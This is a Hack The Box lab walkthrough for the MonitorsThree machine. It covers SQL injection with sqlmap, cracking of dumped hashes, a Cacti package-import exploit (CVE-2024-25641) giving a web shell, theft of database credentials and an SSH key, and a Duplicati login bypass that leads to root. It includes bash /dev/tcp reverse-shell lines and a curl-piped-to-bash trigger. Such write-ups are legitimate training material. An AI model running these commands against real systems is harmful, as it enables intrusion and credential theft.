Hack The Box / LINUX / 2026-03-27
Hack The Box - MonitorsThree (Linux)
SQL injection in password reset endpoint leaks credentials, Cacti package import arbitrary file write provides shell, pivot to marcus, then Duplicati auth bypass and pre-backup script execution for root in container.
Target
- IP:
10.10.11.30
Recon
sudo nmap -sC -sV 10.10.11.30 -p- -T5 -v
We notice open ports 22 and 80.
Add monitorsthree.htb to /etc/hosts.
Go to http://monitorsthree.htb/.
It is a PHP site.
gobuster vhost -u http://monitorsthree.htb/ -w ~/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 50 --append-domain
Found: cacti.monitorsthree.htb Status: 302 [Size: 0] [--> /cacti]
Add cacti.monitorsthree.htb to /etc/hosts.
SQLi in forgot_password.php
Go to http://monitorsthree.htb/forgot_password.php.
There is a username field.
Input test.
Send request, intercept with Burp, send to Repeater.
Response gives redirect and following it shows message:
Unable to process request, try again!
Try with:
test'
We get:
Connection failed: SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''test''' at line 1
Copy request from Burp into file request.txt.
sqlmap -r request.txt -p username
sqlmap -r request.txt -p --dbs
[*] information_schema
[*] monitorsthree_db
sqlmap -r request.txt -p username -D monitorsthree_db --tables
+---------------+
| changelog |
| customers |
| invoice_tasks |
| invoices |
| tasks |
| users |
+---------------+
sqlmap -r request.txt -p username -D monitorsthree_db -T users --dump
+----+------------+-----------------------------+-------------------+-----------+----------------------------------+-----------+-----------------------+------------+
| id | dob | email | name | salary | password | username | position | start_date |
+----+------------+-----------------------------+-------------------+-----------+----------------------------------+-----------+-----------------------+------------+
| 2 | 1978-04-25 | admin@monitorsthree.htb | Marcus Higgins | 320800.00 | 31a181c8372e3afc59dab863430610e8 | admin | Super User | 2021-01-12 |
| 5 | 1985-02-15 | mwatson@monitorsthree.htb | Michael Watson | 75000.00 | c585d01f2eb3e6e1073e92023088a3dd | mwatson | Website Administrator | 2021-05-10 |
| 6 | 1990-07-30 | janderson@monitorsthree.htb | Jennifer Anderson | 68000.00 | 1e68b6eb86b45f6d92f8f292428f77ac | janderson | Network Engineer | 2021-06-20 |
| 7 | 1982-11-23 | dthompson@monitorsthree.htb | David Thompson | 83000.00 | 633b683cc128fe244b00f176c8a950f5 | dthompson | Database Manager | 2022-09-15 |
+----+------------+-----------------------------+-------------------+-----------+----------------------------------+-----------+-----------------------+------------+
Put admin hash into crackstation.net. We get:
greencacti2001
Go to http://cacti.monitorsthree.htb/cacti/.
Login as admin:greencacti2001.
Cacti version is 1.2.26. There is CVE-2024-25641:
An arbitrary file write vulnerability, exploitable through the "Package Import" feature, allows authenticated users having the "Import Templates" permission to execute arbitrary PHP code on the web server
Cacti RCE
wget https://github.com/Cacti/cacti/raw/develop/install/templates/ACME.xml.gz
gunzip ACME.xml.gz
cp ACME.xml test.xml
Edit the file (see attachments/test.xml).
Useful commands used to generate the file:
Generate private/public key pair:
openssl genrsa -out key.pem 2048
openssl rsa -in key.pem -pubout -out pubkey.crt
Create signature of shell.php:
php -a
$signature = "";
openssl_sign($data, $signature, $private_key, OPENSSL_ALGO_SHA256);
echo base64_encode($signature);
Create signature of test.xml. First set this inside file:
<signature></signature>
Then run:
openssl dgst -sha256 -sign key.pem -out /tmp/sign.sha256 test.xml
openssl base64 -A -in /tmp/sign.sha256 -out signature.out
cat signature.out
Generate .xml.gz:
gzip -k test.xml
Go to http://cacti.monitorsthree.htb/cacti/.
Go to import/export -> import packages.
Upload test.xml.gz.
Start listeners:
python3 -m http.server 80
nc -vlnp 4444
Create file rev with content:
bash -i >& /dev/tcp/10.10.14.200/4444 0>&1
Trigger:
http://cacti.monitorsthree.htb/cacti/resource/shell.php?cmd=curl%20http://10.10.14.200/rev|bash
We get reverse shell as www-data.
Pivot to marcus
cat /etc/passwd
We notice user marcus.
cd /var/www/html/cacti
cat include/config.php
$database_type = 'mysql';
$database_default = 'cacti';
$database_hostname = 'localhost';
$database_username = 'cactiuser';
$database_password = 'cactiuser';
$database_port = '3306';
mysql -h 127.0.0.1 -u cactiuser -p
Enter password cactiuser.
use cacti
select * from user_auth;
+----+----------+--------------------------------------------------------------+-------+---------------+--------------------------+----------------------+-----------------+-----------+-----------+--------------+----------------+------------+---------------+--------------+--------------+------------------------+---------+------------+-----------+------------------+--------+-----------------+----------+-------------+
| id | username | password | realm | full_name | email_address | must_change_password | password_change | show_tree | show_list | show_preview | graph_settings | login_opts | policy_graphs | policy_trees | policy_hosts | policy_graph_templates | enabled | lastchange | lastlogin | password_history | locked | failed_attempts | lastfail | reset_perms |
+----+----------+--------------------------------------------------------------+-------+---------------+--------------------------+----------------------+-----------------+-----------+-----------+--------------+----------------+------------+---------------+--------------+--------------+------------------------+---------+------------+-----------+------------------+--------+-----------------+----------+-------------+
| 1 | admin | $2y$10$tjPSsSP6UovL3OTNeam4Oe24TSRuSRRApmqf5vPinSer3mDuyG90G | 0 | Administrator | marcus@monitorsthree.htb | | | on | on | on | on | 2 | 1 | 1 | 1 | 1 | on | -1 | -1 | -1 | | 0 | 0 | 436423766 |
| 3 | guest | $2y$10$SO8woUvjSFMr1CDo8O3cz.S6uJoqLaTe6/mvIcUuXzKsATo77nLHu | 0 | Guest Account | guest@monitorsthree.htb | | | on | on | on | | 1 | 1 | 1 | 1 | 1 | | -1 | -1 | -1 | | 0 | 0 | 3774379591 |
| 4 | marcus | $2y$10$Fq8wGXvlM3Le.5LIzmM9weFs9s6W2i1FLg3yrdNGmkIaxo79IBjtK | 0 | Marcus | marcus@monitorsthree.htb | | on | on | on | on | on | 1 | 1 | 1 | 1 | 1 | on | -1 | -1 | | | 0 | 0 | 1677427318 |
+----+----------+--------------------------------------------------------------+-------+---------------+--------------------------+----------------------+-----------------+-----------+-----------+--------------+----------------+------------+---------------+--------------+--------------+------------------------+---------+------------+-----------+------------------+--------+-----------------+----------+-------------+
Take marcus hash into file hash and crack:
hashcat -a 0 -m 3200 ./hash ./rockyou.txt
$2y$10$Fq8wGXvlM3Le.5LIzmM9weFs9s6W2i1FLg3yrdNGmkIaxo79IBjtK:12345678910
su marcus
Enter found password.
cat .ssh/id_rsa
Copy output into marcus_key.
chmod 600 marcus_key
ssh -i marcus_key marcus@monitorsthree.htb
Duplicati Abuse
cat /opt/docker-compose.yml
version: "3"
services:
duplicati:
image: lscr.io/linuxserver/duplicati:latest
container_name: duplicati
environment:
- PUID=0
- PGID=0
- TZ=Etc/UTC
volumes:
- /opt/duplicati/config:/config
- /:/source
ports:
- 127.0.0.1:8200:8200
restart: unless-stopped
ss -ltpn
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
LISTEN 0 4096 127.0.0.1:8200 0.0.0.0:*
LISTEN 0 500 0.0.0.0:8084 0.0.0.0:*
LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
LISTEN 0 70 127.0.0.1:3306 0.0.0.0:*
LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
LISTEN 0 511 0.0.0.0:80 0.0.0.0:*
LISTEN 0 4096 127.0.0.1:46871 0.0.0.0:*
LISTEN 0 128 [::]:22 [::]:*
LISTEN 0 511 [::]:80 [::]:*
ssh -i marcus_key marcus@monitorsthree.htb -NL 8200:localhost:8200
Go to http://localhost:8200.
It asks for password.
Useful reference:
- https://medium.com/@STarXT/duplicati-bypassing-login-authentication-with-server-passphrase-024d6991e9ee
cd /opt/duplicati/config
ls
CTADPNHLTC.sqlite Duplicati-server.sqlite WRFJYWZBIY.sqlite control_dir_v2
Download CTADPNHLTC.sqlite and Duplicati-server.sqlite:
python3 -m http.server 8888
wget http://monitorsthree.htb:8888/CTADPNHLTC.sqlite
wget http://monitorsthree.htb:8888/Duplicati-server.sqlite
sqlite3 Duplicati-server.sqlite
select * from Option;
-2||server-passphrase|Wb6e855L3sN9LTaCuwPXuautswTIQbekmMAr7BrK2Ho=
-2||server-passphrase-salt|xTfykWV1dATpFZvPhClEJLJzYA5A4L74hX7FK8XmY0I=
Go to http://localhost:8200.
Enter random password.
Intercept request and response in Burp.
There is a nonce in response.
In Cyberchef:
-
Copy server-passphrase.
-
Convert from Base64.
-
Convert to hex.
We obtain:
59be9ef39e4bdec37d2d3682bb03d7b9abadb304c841b7a498c02bec1acad87a
Back to localhost:8200 page. Open browser console (F12) and run:
var noncedpwd = CryptoJS.SHA256(CryptoJS.enc.Hex.parse(CryptoJS.enc.Base64.parse(nonce) + "59be9ef39e4bdec37d2d3682bb03d7b9abadb304c841b7a498c02bec1acad87a")).toString(CryptoJS.enc.Base64);
noncepwd
Copy shown password. In Burp click Forward. In next request, replace password with copied value. We can log in.
cd /dev/shm
echo 'bash -i >& /dev/tcp/10.10.14.200/4444 0>&1' > rev.sh
chmod 777 rev.sh
Return to Duplicati. Go to settings. Add option run-script-before. Set value to:
/source/tmp/test.sh
In /tmp, create test.sh with content:
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.200/4444 0>&1
Start listener:
nc -vlnp 4444
Start cacti backup. We obtain reverse shell as root in docker container.
cat /source/root/root.txt